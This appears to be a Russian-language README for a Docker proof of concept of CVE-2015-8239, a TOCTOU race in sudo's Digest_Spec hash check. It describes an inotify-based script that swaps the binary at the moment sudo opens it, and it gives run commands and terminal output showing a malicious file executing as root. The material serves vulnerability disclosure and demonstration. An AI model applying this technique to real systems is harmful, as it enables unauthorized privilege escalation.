
Докер-контейнер с доказательством концепции, демонстрирующий эксплуатацию состояния гонки TOCTOU против функции Digest_Spec в sudo (CVE-2015-8239) с использованием inotify для атак замены файлов между пользователями.
Digest_Spec TOCTOU POCAlyssa Milburn (https://twitter.com/noopwafel) обнаружила ошибку состояния гонки TOCTOU в sudo при использовании настройки Digest_Spec. Настройка Digest_Spec может использоваться, чтобы разрешить пользователю выполнять sudo для бинарного файла, если и только если его хеш соответствует заданному значению. Смотрите man sudoers и ищите Digest_Spec для получения дополнительной информации об этой функции, а также смотрите http://noopwafel.net/notes/2015/sudo-digest-race-condition.html для получения дополнительной информации об ошибке, обнаруженной Алиссой. Проблеме был присвоен CVE-2015-8239.
Проблема была смягчена добавлением документации в man sudoers с предупреждением о возможности состояния гонки, а также добавлением некоторой магии fexecve() в sudo, чтобы попытаться предотвратить определённые типы модификаций файлов.
Интересно, что cve-assign сказал следующее на https://seclists.org/oss-sec/2015/q4/256:
As far as we know, the Digest_Spec feature can be useful if the user
invoking sudo doesn't have write access to the program file, but a
second (and potentially untrusted) user does have write access to the
program file. In the envisioned scenario, the second user is not
allowed to use sudo, the second user has no way to predict when anyone
else may use sudo, and the second user cannot use their write access
often. Thus, if the second user attempts a file-replacement attack,
the attack will almost certainly occur at an ineffective instant of
time, and the Digest_Spec feature will successfully prevent the
attacker's desired outcome.
Этот POC показывает, что это утверждение не обязательно верно, при условии, что пользователь «writer» может выполнять постоянный код в системе. Пользователь «writer» может использовать inotify для обнаружения момента, когда пользователь «executor» выполняет файл с помощью sudo, и может попытаться выполнить атаку замены файла в этот момент.
Этот проект создаёт Docker-образ, который:
/opt/sudoable, доступный для записи пользователем editor, и доступный для sudo пользователем executor только если его хеш SHA256 соответствует определённому значению/opt/hello («хороший» файл, чей хеш SHA256 прописан в sudoers) и файл `/opt/goodbye» («злой» файл)/opt доступным для записи только пользователю root (поэтому пользователь editor может заменять содержимое /opt/sudoable, но не может выполнять операцию замены файла на уровне файловой системы)/home/editor/exploit/exploit.pyКогда /home/editor/exploit/exploit.py выполняется пользователем editor, inotify используется для мониторинга событий файловой системы. Когда файл /opt/sudoable открывается, он заменяется на /opt/goodbye. После закрытия файла он заменяется обратно на /opt/hello, чтобы оставить всё в «нормальном» состоянии.
Предполагая, что эта гонка успешна, когда пользователь executor выполняет sudo /opt/sudoable (что происходит в большинстве случаев на моей машине), пользователь editor может заставить пользователя executor выполнить вредоносный бинарный файл от имени root, независимо от указанного хеша SHA256 в качестве значения Digest_Spec в sudoers.
Run make all
./instantiate.shtmux new-session и разделите панель (Ctrl+b затем "; используйте Ctrl+b затем Вверх/Вниз для переключения панелей)sudo -u executor sudo /opt/sudoable и наблюдайте вывод Hello uid=0sudo -u editor cp /opt/goodbye /opt/sudoablesudo -u executor sudo /opt/sudoable и наблюдайте, что вас попросят ввести пароль (т.е. операция sudo не удалась из-за несовпадения дайджеста)sudo -u editor /home/editor/exploit/exploit.pysudo -u executor sudo /opt/sudoable несколько раз и наблюдайте периодический вывод Top pane:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Hello uid=0
Bottom pane:
root@c600efec2da8:/# sudo -u editor cp /opt/goodbye /opt/sudoable
Top pane:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
Bottom pane:
root@c600efec2da8:/# sudo -u editor /home/editor/exploit/exploit.py
Top pane:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
sudo: unable to execute /opt/sudoable: Text file busy
В каких случаях смягчение с помощью fexecve() действительно эффективно? Если пользователь имеет доступ на запись к файлу sudoable, но не к каталогу, в котором он находится, он может изменить файл, открываемый sudo. Если пользователь имеет доступ на запись к каталогу, но не к файлу, он может переместить файл и воссоздать его так, чтобы иметь возможность его изменить, и мы возвращаемся к исходной точке.
Спасибо Luke (https://twitter.com/lukejahnke) за то, что рассказал мне о настройке Digest_Spec, за обмен идеями и за предложение использовать inotify для чистого межпользовательского POC.
Goodbye uid=0